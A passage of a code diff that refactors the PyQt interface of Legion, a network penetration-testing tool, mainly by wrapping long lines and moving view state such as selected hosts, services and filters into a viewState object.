options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] + filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', + self.controller.getCWD(), filter='Legion session (*.legion)', + options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] while not filename =='': - if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access(ntpath.dirname(str(filename)), os.W_OK): + if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access( + ntpath.dirname(str(filename)), os.W_OK): log.info('Insufficient permissions on this folder.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', + "You don't have the necessary permissions on this folder.") else: if self.controller.saveProjectAs(filename): @@ -353,17 +375,22 @@ def saveProjectAs(self): if not str(filename).endswith('.legion'): filename = str(filename) + '.legion' msgBox = QtWidgets.QMessageBox() - reply = msgBox.question(self.ui.centralwidget, 'Confirm', "A file named \""+ntpath.basename(str(filename))+"\" already exists. Do you want to replace it?", QtWidgets.QMessageBox.Abort | QtWidgets.QMessageBox.Save) + reply = msgBox.question(self.ui.centralwidget, 'Confirm', + "A file named \""+ntpath.basename(str(filename))+"\" already exists. " + + "Do you want to replace it?", + QtWidgets.QMessageBox.Abort | QtWidgets.QMessageBox.Save) if reply == QtWidgets.QMessageBox.Save: self.controller.saveProjectAs(filename, 1) # replace break - filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', filter='Legion session (*.legion)', options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] + filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', + filter='Legion session (*.legion)', + options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] if not filename == '': self.setDirty(False) - self.firstSave = False + self.viewState.firstSave = False self.ui.statusbar.showMessage('Saved!', msecs=1000) self.controller.updateOutputFolder() log.info('Saved!') @@ -371,7 +398,10 @@ def saveProjectAs(self): log.info('No file chosen..') def saveOrDiscard(self): - reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", QtWidgets.QMessageBox.Save | QtWidgets.QMessageBox.Discard | QtWidgets.QMessageBox.Cancel, QtWidgets.QMessageBox.Save) + reply = QtWidgets.QMessageBox.question( + self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", + QtWidgets.QMessageBox.Save | QtWidgets.QMessageBox.Discard | QtWidgets.QMessageBox.Cancel, + QtWidgets.QMessageBox.Save) if reply == QtWidgets.QMessageBox.Save: self.saveProject() @@ -414,7 +444,13 @@ def callAddHosts(self): hostList = hostListStr.split(';') hostList = [hostEntry for hostEntry in hostList if len(hostEntry) > 0] - hostAddOptionControls = [self.adddialog.rdoScanOptTcpConnect, self.adddialog.rdoScanOptSynStealth, self.adddialog.rdoScanOptFin, self.adddialog.rdoScanOptNull, self.adddialog.rdoScanOptXmas, self.adddialog.rdoScanOptPingTcp, self.adddialog.rdoScanOptPingUdp, self.adddialog.rdoScanOptPingDisable, self.adddialog.rdoScanOptPingRegular, self.adddialog.rdoScanOptPingSyn, self.adddialog.rdoScanOptPingAck, self.adddialog.rdoScanOptPingTimeStamp, self.adddialog.rdoScanOptPingNetmask, self.adddialog.chkScanOptFragmentation] + hostAddOptionControls = [self.adddialog.rdoScanOptTcpConnect, self.adddialog.rdoScanOptSynStealth, + self.adddialog.rdoScanOptFin, self.adddialog.rdoScanOptNull, + self.adddialog.rdoScanOptXmas, self.adddialog.rdoScanOptPingTcp, + self.adddialog.rdoScanOptPingUdp, self.adddialog.rdoScanOptPingDisable, + self.adddialog.rdoScanOptPingRegular, self.adddialog.rdoScanOptPingSyn, + self.adddialog.rdoScanOptPingAck, self.adddialog.rdoScanOptPingTimeStamp, + self.adddialog.rdoScanOptPingNetmask, self.adddialog.chkScanOptFragmentation] nmapOptions = [] if self.adddialog.rdoModeOptEasy.isChecked(): @@ -430,12 +466,17 @@ def callAddHosts(self): nmapOptions.append(nmapOptionValue) nmapOptions.append(str(self.adddialog.txtCustomOptList.text())) for hostListEntry in hostList: - self.controller.addHosts(targetHosts = hostListEntry, runHostDiscovery = self.adddialog.chkDiscovery.isChecked(), runStagedNmap = self.adddialog.chkNmapStaging.isChecked(), nmapSpeed = self.adddialog.sldScanTimingSlider.value(), scanMode = scanMode, nmapOptions = nmapOptions) - self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button + self.controller.addHosts(targetHosts=hostListEntry, + runHostDiscovery=self.adddialog.chkDiscovery.isChecked(), + runStagedNmap=self.adddialog.chkNmapStaging.isChecked(), + nmapSpeed=self.adddialog.sldScanTimingSlider.value(), + scanMode=scanMode, + nmapOptions=nmapOptions) + self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button else: self.adddialog.spacer.changeSize(0,0) self.adddialog.validationLabel.show() - self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button + self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button self.adddialog.cmdAddButton.clicked.connect(self.callAddHosts) ### @@ -445,12 +486,15 @@ def connectImportNmap(self): def importNmap(self): self.ui.statusbar.showMessage('Importing nmap xml..', msecs=1000) - filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', self.controller.getCWD(), filter='XML file (*.xml)')[0] - log.info('Importing nmap xml from {0}...'.format(str(filename))) + filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', + self.controller.getCWD(), filter='XML file (*.xml)')[0] + log.info('Importing nmap xml from {0}...'.format(str(filename))) if not filename == '': if not os.access(filename, os.R_OK): # check for read permissions on the xml file log.info('Insufficient permissions to read this file.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.", "Ok") + QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', + "You don't have the necessary permissions to read this file.", + "Ok") return self.importProgressWidget.reset('Importing nmap..') @@ -477,7 +521,7 @@ def applySettings(self): self.settingsWidget.hide() def cancelSettings(self): - log.info('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. + log.info('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. self.settingsWidget.hide() self.controller.cancelSettings() @@ -491,7 +535,7 @@ def connectAppExit(self): self.ui.actionExit.triggered.connect(self.appExit) def appExit(self): - if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application + if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application self.closeProject() log.info('Exiting application..') sys.exit(0) @@ -506,16 +550,18 @@ def connectHostTableClick(self): # TODO: review - especially what tab is selected when coming from another host def hostTableClick(self): - if self.ui.HostsTableView.selectionModel().selectedRows(): # get the IP address of the selected host (if any) - row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() + if self.ui.HostsTableView.selectionModel().selectedRows(): # get the IP address of the selected host (if any) + row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView. + selectionModel().selectedRows())-1].row() print(row) ip = self.HostsTableModel.getHostIPForRow(row) - self.ip_clicked = ip + self.viewState.ip_clicked = ip save = self.ui.ServicesTabWidget.currentIndex() self.removeToolTabs() - self.restoreToolTabsForHost(self.ip_clicked) - self.ui.ServicesTabWidget.setCurrentIndex(save) # display services tab if we are coming from a dynamic tab (non-fixed) - self.updateRightPanel(self.ip_clicked) + self.restoreToolTabsForHost(self.viewState.ip_clicked) + # display services tab if we are coming from a dynamic tab (non-fixed) + self.ui.ServicesTabWidget.setCurrentIndex(save) + self.updateRightPanel(self.viewState.ip_clicked) else: self.removeToolTabs() self.updateRightPanel('') @@ -527,10 +573,11 @@ def connectServiceNamesTableClick(self): def serviceNamesTableClick(self): if self.ui.ServiceNamesTableView.selectionModel().selectedRows(): - row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len( + self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() print(row) - self.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) - self.updatePortsByServiceTableView(self.service_clicked) + self.viewState.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) + self.updatePortsByServiceTableView(self.viewState.service_clicked) ### @@ -539,11 +586,13 @@ def connectToolsTableClick(self): def toolsTableClick(self): if self.ui.ToolsTableView.selectionModel().selectedRows(): - row = self.ui.ToolsTableView.selectionModel().selectedRows()[len(self.ui.ToolsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolsTableView.selectionModel().selectedRows()[len( + self.ui.ToolsTableView.selectionModel().selectedRows())-1].row() print(row) - self.tool_clicked = self.ToolsTableModel.getToolNameForRow(row) - self.updateToolHostsTableView(self.tool_clicked) - self.displayScreenshots(self.tool_clicked == 'screenshooter') # if we clicked on the screenshooter we need to display the screenshot widget + self.viewState.tool_clicked = self.ToolsTableModel.getToolNameForRow(row) + self.updateToolHostsTableView(self.viewState.tool_clicked) + # if we clicked on the screenshooter we need to display the screenshot widget + self.displayScreenshots(self.viewState.tool_clicked == 'screenshooter') # update the updateToolHostsTableView when the user closes all the host tabs # TODO: this doesn't seem right @@ -558,10 +607,11 @@ def connectScriptTableClick(self): def scriptTableClick(self): if self.ui.ScriptsTableView.selectionModel().selectedRows(): - row = self.ui.ScriptsTableView.selectionModel().selectedRows()[len(self.ui.ScriptsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ScriptsTableView.selectionModel().selectedRows()[len( + self.ui.ScriptsTableView.selectionModel().selectedRows())-1].row() print(row) - self.script_clicked = self.ScriptsTableModel.getScriptDBIdForRow(row) - self.updateScriptsOutputView(self.script_clicked) + self.viewState.script_clicked = self.ScriptsTableModel.getScriptDBIdForRow(row) + self.updateScriptsOutputView(self.viewState.script_clicked) ### @@ -571,27 +621,32 @@ def connectToolHostsClick(self): # TODO: review / duplicate code def toolHostsClick(self): if self.ui.ToolHostsTableView.selectionModel().selectedRows(): - row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len( + self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() print(row) - self.tool_host_clicked = self.ToolHostsTableModel.getProcessIdForRow(row) + self.viewState.tool_host_clicked = self.ToolHostsTableModel.getProcessIdForRow(row) ip = self.ToolHostsTableModel.getIpForRow(row) - if self.tool_clicked == 'screenshooter': + if self.viewState.tool_clicked == 'screenshooter': filename = self.ToolHostsTableModel.getOutputfileForRow(row) self.ui.ScreenshotWidget.open(str(self.controller.getOutputFolder())+'/screenshots/'+str(filename)) else: - self.restoreToolTabWidget() # restore the tool output textview now showing in the tools display panel to its original host tool tab - - if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): # remove the tool output currently in the tools display panel (if any) + # restore the tool output textview now showing in the tools display panel to its original host tool tab + self.restoreToolTabWidget() + + # remove the tool output currently in the tools display panel (if any) + if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit).setParent(None) tabs = [] # fetch tab list for this host (if any) - if str(ip) in self.hostTabs: - tabs = self.hostTabs[str(ip)] + if str(ip) in self.viewState.hostTabs: + tabs = self.viewState.hostTabs[str(ip)] - for tab in tabs: # place the tool output textview in the tools display panel - if tab.findChild(QtWidgets.QPlainTextEdit) and str(tab.findChild(QtWidgets.QPlainTextEdit).property('dbId')) == str(self.tool_host_clicked): + for tab in tabs: # place the tool output textview in the tools display panel + if tab.findChild(QtWidgets.QPlainTextEdit) and \ + str(tab.findChild(QtWidgets.QPlainTextEdit).property('dbId')) == \ + str(self.viewState.tool_host_clicked): self.ui.DisplayWidgetLayout.addWidget(tab.findChild(QtWidgets.QPlainTextEdit)) break @@ -604,17 +659,18 @@ def connectAdvancedFilterClick(self): self.ui.FilterAdvancedButton.clicked.connect(self.advancedFilterClick) def advancedFilterClick(self, current): - self.filterdialog.setCurrentFilters(self.filters.getFilters()) # to make sure we don't show filters than have been clicked but cancelled + # to make sure we don't show filters than have been clicked but cancelled + self.filterdialog.setCurrentFilters(self.viewState.filters.getFilters()) self.filterdialog.show() def updateFilter(self): f = self.filterdialog.getFilters() - self.filters.apply(f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8]) + self.viewState.filters.apply(f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8]) self.ui.keywordTextInput.setText(" ".join(f[8])) self.updateInterface() def updateFilterKeywords(self): - self.filters.setKeywords(unicode(self.ui.keywordTextInput.text()).split()) + self.viewState.filters.setKeywords(unicode(self.ui.keywordTextInput.text()).split()) self.updateInterface() ### @@ -634,7 +690,8 @@ def rightTableDoubleClick(self, signal): index = signal.sibling(row, 0) index_dict = model.itemData(index) index_value = index_dict.get(0) - log.info('Row {}, Column {} clicked - value: {}\nColumn 1 contents: {}'.format(row, column, cell_value, index_value)) + log.info('Row {}, Column {} clicked - value: {}\nColumn 1 contents: {}' + .format(row, column, cell_value, index_value)) ## Does not work under WSL! df = pd.DataFrame([cell_value]) @@ -646,10 +703,12 @@ def tableDoubleClick(self): print(tab) if tab == 'Services': - row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ServicesTableView.selectionModel().selectedRows()[len( + self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() ip = self.PortsByServiceTableModel.getIpForRow(row) elif tab == 'Tools': - row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len( + self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() ip = self.ToolHostsTableModel.getIpForRow(row) else: return @@ -682,7 +741,7 @@ def switchTabClick(self): self.restoreToolTabWidget() ### - if self.lazy_update_hosts == True: + if self.viewState.lazy_update_hosts == True: self.updateHostsTableView() ### self.hostTableClick() @@ -690,23 +749,24 @@ def switchTabClick(self): elif selectedTab == 'Services': self.ui.ServicesTabWidget.setCurrentIndex(0) self.removeToolTabs(0) # remove the tool tabs - self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - if self.lazy_update_services == True: + self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + if self.viewState.lazy_update_services == True: self.updateServiceNamesTableView() self.serviceNamesTableClick() #elif selectedTab == 'CVEs': # self.ui.ServicesTabWidget.setCurrentIndex(0) # self.removeToolTabs(0) # remove the tool tabs - # self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - # if self.lazy_update_services == True: + # self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + # if self.viewState.lazy_update_services == True: # self.updateServiceNamesTableView() # self.serviceNamesTableClick() elif selectedTab == 'Tools': self.updateToolsTableView() - self.displayToolPanel(selectedTab == 'Tools') # display tool panel if we are in tools tab, hide it otherwise + # display tool panel if we are in tools tab, hide it otherwise + self.displayToolPanel(selectedTab == 'Tools') ### @@ -722,15 +782,18 @@ def switchMainTabClick(self): elif selectedTab == 'Brute': self.ui.BruteTabWidget.currentWidget().runButton.setFocus() self.restoreToolTabWidget() - - self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor()) # in case the Brute tab was red because hydra found stuff, change it back to black + + # in case the Brute tab was red because hydra found stuff, change it back to black + self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor()) ### - def setVisible(self): # indicates that a context menu is showing so that the ui doesn't get updated disrupting the user - self.menuVisible = True + # indicates that a context menu is showing so that the ui doesn't get updated disrupting the user + def setVisible(self): + self.viewState.menuVisible = True - def setInvisible(self): # indicates that a context menu has now closed and any pending ui updates can take place now - self.menuVisible = False + # indicates that a context menu has now closed and any pending ui updates can take place now + def setInvisible(self): + self.viewState.menuVisible = False ### def connectHostsTableContextMenu(self): @@ -738,20 +801,23 @@ def connectHostsTableContextMenu(self): def contextMenuHostsTableView(self, pos): if len(self.ui.HostsTableView.selectionModel().selectedRows()) > 0: - row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() - self.ip_clicked = self.HostsTableModel.getHostIPForRow(row) # because when we right click on a different host, we need to select it + row = self.ui.HostsTableView.selectionModel().selectedRows()[ + len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() + # because when we right click on a different host, we need to select it + self.viewState.ip_clicked = self.HostsTableModel.getHostIPForRow(row) self.ui.HostsTableView.selectRow(row) # select host when right-clicked - self.hostTableClick() - - menu, actions = self.controller.getContextMenuForHost(str(self.HostsTableModel.getHostCheckStatusForRow(row))) + self.hostTableClick() + + menu, actions = self.controller.getContextMenuForHost( + str(self.HostsTableModel.getHostCheckStatusForRow(row))) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) hostid = self.HostsTableModel.getHostIdForRow(row) action = menu.exec_(self.ui.HostsTableView.viewport().mapToGlobal(pos)) if action: - self.controller.handleHostAction(self.ip_clicked, hostid, actions, action) - + self.controller.handleHostAction(self.viewState.ip_clicked, hostid, actions, action) + ### def connectServiceNamesTableContextMenu(self): @@ -759,19 +825,21 @@ def connectServiceNamesTableContextMenu(self): def contextMenuServiceNamesTableView(self, pos): if len(self.ui.ServiceNamesTableView.selectionModel().selectedRows()) > 0: - row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() - self.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) + row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len( + self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() + self.viewState.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) self.ui.ServiceNamesTableView.selectRow(row) # select service when right-clicked self.serviceNamesTableClick() - menu, actions, shiftPressed = self.controller.getContextMenuForServiceName(self.service_clicked) + menu, actions, shiftPressed = self.controller.getContextMenuForServiceName(self.viewState.service_clicked) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) action = menu.exec_(self.ui.ServiceNamesTableView.viewport().mapToGlobal(pos)) - if action: - self.serviceNamesTableClick() # because we will need to populate the right-side panel in order to select those rows - # we must only fetch the targets on which we haven't run the tool yet + if action: + # because we will need to populate the right-side panel in order to select those rows + self.serviceNamesTableClick() + # we must only fetch the targets on which we haven't run the tool yet tool = None for i in range(0,len(actions)): # fetch the tool name if action == actions[i][1]: @@ -782,20 +850,26 @@ def contextMenuServiceNamesTableView(self, pos): if action.text() == 'Take screenshot': tool = 'screenshooter' - targets = [] # get (IP,port,protocol) combinations for this service + targets = [] # get (IP,port,protocol) combinations for this service for row in range(self.PortsByServiceTableModel.rowCount("")): - targets.append([self.PortsByServiceTableModel.getIpForRow(row), self.PortsByServiceTableModel.getPortForRow(row), self.PortsByServiceTableModel.getProtocolForRow(row)]) + targets.append([self.PortsByServiceTableModel.getIpForRow(row), + self.PortsByServiceTableModel.getPortForRow(row), + self.PortsByServiceTableModel.getProtocolForRow(row)]) - if shiftPressed: # if the user pressed SHIFT+Right-click, ignore the rule of only running the tool on targets on which we haven't ran it yet + # if the user pressed SHIFT+Right-click, ignore the rule of only running the tool on targets on + # which we haven't ran it yet + if shiftPressed: tool=None if tool: - hosts=self.controller.getHostsForTool(tool, 'FetchAll') # fetch the hosts that we already ran the tool on + # fetch the hosts that we already ran the tool on + hosts=self.controller.getHostsForTool(tool, 'FetchAll') oldTargets = [] for i in range(0,len(hosts)): oldTargets.append([hosts[i][5], hosts[i][6], hosts[i][7]]) - - for host in oldTargets: # remove from the targets the hosts:ports we have already run the tool on + + # remove from the targets the hosts:ports we have already run the tool on + for host in oldTargets: if host in targets: targets.remove(host) @@ -809,7 +883,8 @@ def connectToolHostsTableContextMenu(self): def contextToolHostsTableContextMenu(self, pos): if len(self.ui.ToolHostsTableView.selectionModel().selectedRows()) > 0: - row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len( + self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() ip = self.ToolHostsTableModel.getIpForRow(row) port = self.ToolHostsTableModel.getPortForRow(row) @@ -820,10 +895,16 @@ def contextToolHostsTableContextMenu(self, pos): menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) - # this can handle multiple host selection if we apply it in the future - targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row # context menu when the left services tab is selected + # this can handle multiple host selection if we apply it in the future + targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row + # context menu when the left services tab is selected for row in self.ui.ToolHostsTableView.selectionModel().selectedRows(): - targets.append([self.ToolHostsTableModel.getIpForRow(row.row()),self.ToolHostsTableModel.getPortForRow(row.row()),self.ToolHostsTableModel.getProtocolForRow(row.row()),self.controller.getServiceNameForHostAndPort(self.ToolHostsTableModel.getIpForRow(row.row()), self.ToolHostsTableModel.getPortForRow(row.row()))[0]]) + targets.append([self.ToolHostsTableModel.getIpForRow(row.row()), + self.ToolHostsTableModel.getPortForRow(row.row()), + self.ToolHostsTableModel.getProtocolForRow(row.row()), + self.controller.getServiceNameForHostAndPort( + self.ToolHostsTableModel.getIpForRow(row.row()), + self.ToolHostsTableModel.getPortForRow(row.row()))[0]]) restore = True action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) @@ -831,8 +912,9 @@ def contextToolHostsTableContextMenu(self, pos): if action: self.controller.handlePortAction(targets, actions, terminalActions, action, restore) - else: # in case there was no port, we show the host menu (without the portscan / mark as checked) - menu, actions = self.controller.getContextMenuForHost(str(self.HostsTableModel.getHostCheckStatusForRow(self.HostsTableModel.getRowForIp(ip))), False) + else: # in case there was no port, we show the host menu (without the portscan / mark as checked) + menu, actions = self.controller.getContextMenuForHost(str( + self.HostsTableModel.getHostCheckStatusForRow(self.HostsTableModel.getRowForIp(ip))), False) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) hostid = self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(ip)) @@ -840,22 +922,24 @@ def contextToolHostsTableContextMenu(self, pos): action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) if action: - self.controller.handleHostAction(self.ip_clicked, hostid, actions, action) + self.controller.handleHostAction(self.viewState.ip_clicked, hostid, actions, action) ### def connectServicesTableContextMenu(self): self.ui.ServicesTableView.customContextMenuRequested.connect(self.contextMenuServicesTableView) - def contextMenuServicesTableView(self, pos): # this function is longer because there are two cases we are in the services table + # this function is longer because there are two cases we are in the services table + def contextMenuServicesTableView(self, pos): if len(self.ui.ServicesTableView.selectionModel().selectedRows()) > 0: - - if len(self.ui.ServicesTableView.selectionModel().selectedRows()) == 1: # if there is only one row selected, get service name - row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() + # if there is only one row selected, get service name + if len(self.ui.ServicesTableView.selectionModel().selectedRows()) == 1: + row = self.ui.ServicesTableView.selectionModel().selectedRows()[len( + self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() - if self.ui.ServicesTableView.isColumnHidden(0): # if we are in the services tab of the hosts view + if self.ui.ServicesTableView.isColumnHidden(0): # if we are in the services tab of the hosts view serviceName = self.ServicesTableModel.getServiceNameForRow(row) - else: # if we are in the services tab of the services view + else: # if we are in the services tab of the services view serviceName = self.PortsByServiceTableModel.getServiceNameForRow(row) else: @@ -865,15 +949,21 @@ def contextMenuServicesTableView(self, pos): # this funct menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) - targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row + targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row if self.ui.ServicesTableView.isColumnHidden(0): for row in self.ui.ServicesTableView.selectionModel().selectedRows(): - targets.append([self.ServicesTableModel.getIpForRow(row.row()),self.ServicesTableModel.getPortForRow(row.row()),self.ServicesTableModel.getProtocolForRow(row.row()),self.ServicesTableModel.getServiceNameForRow(row.row())]) + targets.append([self.ServicesTableModel.getIpForRow(row.row()), + self.ServicesTableModel.getPortForRow(row.row()), + self.ServicesTableModel.getProtocolForRow(row.row()), + self.ServicesTableModel.getServiceNameForRow(row.row())]) restore = False - else: # context menu when the left services tab is selected + else: # context menu when the left services tab is selected for row in self.ui.ServicesTableView.selectionModel().selectedRows(): - targets.append([self.PortsByServiceTableModel.getIpForRow(row.row()),self.PortsByServiceTableModel.getPortForRow(row.row()),self.PortsByServiceTableModel.getProtocolForRow(row.row()),self.PortsByServiceTableModel.getServiceNameForRow(row.row())]) + targets.append([self.PortsByServiceTableModel.getIpForRow(row.row()), + self.PortsByServiceTableModel.getPortForRow(row.row()), + self.PortsByServiceTableModel.getProtocolForRow(row.row()), + self.PortsByServiceTableModel.getServiceNameForRow(row.row())]) restore = True action = menu.exec_(self.ui.ServicesTableView.viewport().mapToGlobal(pos)) @@ -896,7 +986,8 @@ def contextMenuProcessesTableView(self, pos): selectedProcesses = [] # list of tuples (pid, status, procId) for row in self.ui.ProcessesTableView.selectionModel().selectedRows(): pid = self.ProcessesTableModel.getProcessPidForRow(row.row()) - selectedProcesses.append([int(pid), self.ProcessesTableModel.getProcessStatusForRow(row.row()), self.ProcessesTableModel.getProcessIdForRow(row.row())]) + selectedProcesses.append([int(pid), self.ProcessesTableModel.getProcessStatusForRow(row.row()), + self.ProcessesTableModel.getProcessIdForRow(row.row())]) action = menu.exec_(self.ui.ProcessesTableView.viewport().mapToGlobal(pos)) @@ -933,25 +1024,27 @@ def contextMenuScreenshot(self, pos): #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateHostsTableView(self): - headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] - print(str(self.controller.getHostsFromDB(self.filters))) - self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.filters), headers) + headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", + "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] + self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.viewState.filters), headers) self.ui.HostsTableView.setModel(self.HostsTableModel) - self.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore + self.viewState.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore - for i in [0, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]: # hide some columns + # hide some columns + for i in [0, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]: self.ui.HostsTableView.setColumnHidden(i, True) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) self.HostsTableModel.sort(3, Qt.DescendingOrder) - ips = [] # ensure that there is always something selected + ips = [] # ensure that there is always something selected for row in range(self.HostsTableModel.rowCount("")): ips.append(self.HostsTableModel.getHostIPForRow(row)) - if self.ip_clicked in ips: # the ip we previously clicked may not be visible anymore (eg: due to filters) - row = self.HostsTableModel.getRowForIp(self.ip_clicked) + # the ip we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.ip_clicked in ips: + row = self.HostsTableModel.getRowForIp(self.viewState.ip_clicked) else: row = 0 # or select the first row @@ -961,17 +1054,19 @@ def updateHostsTableView(self): def updateServiceNamesTableView(self): headers = ["Name"] - self.ServiceNamesTableModel = ServiceNamesTableModel(self.controller.getServiceNamesFromDB(self.filters), headers) + self.ServiceNamesTableModel = ServiceNamesTableModel( + self.controller.getServiceNamesFromDB(self.viewState.filters), headers) self.ui.ServiceNamesTableView.setModel(self.ServiceNamesTableModel) - self.lazy_update_services = False # to indicate that it doesn't need to be updated anymore + self.viewState.lazy_update_services = False # to indicate that it doesn't need to be updated anymore services = [] # ensure that there is always something selected for row in range(self.ServiceNamesTableModel.rowCount("")): services.append(self.ServiceNamesTableModel.getServiceNameForRow(row)) - - if self.service_clicked in services: # the service we previously clicked may not be visible anymore (eg: due to filters) - row = self.ServiceNamesTableModel.getRowForServiceName(self.service_clicked) + + # the service we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.service_clicked in services: + row = self.ServiceNamesTableModel.getRowForServiceName(self.viewState.service_clicked) else: row = 0 # or select the first row @@ -980,29 +1075,38 @@ def updateServiceNamesTableView(self): self.serviceNamesTableClick() def setupToolsTableView(self): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn), headers) + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ToolsTableModel = 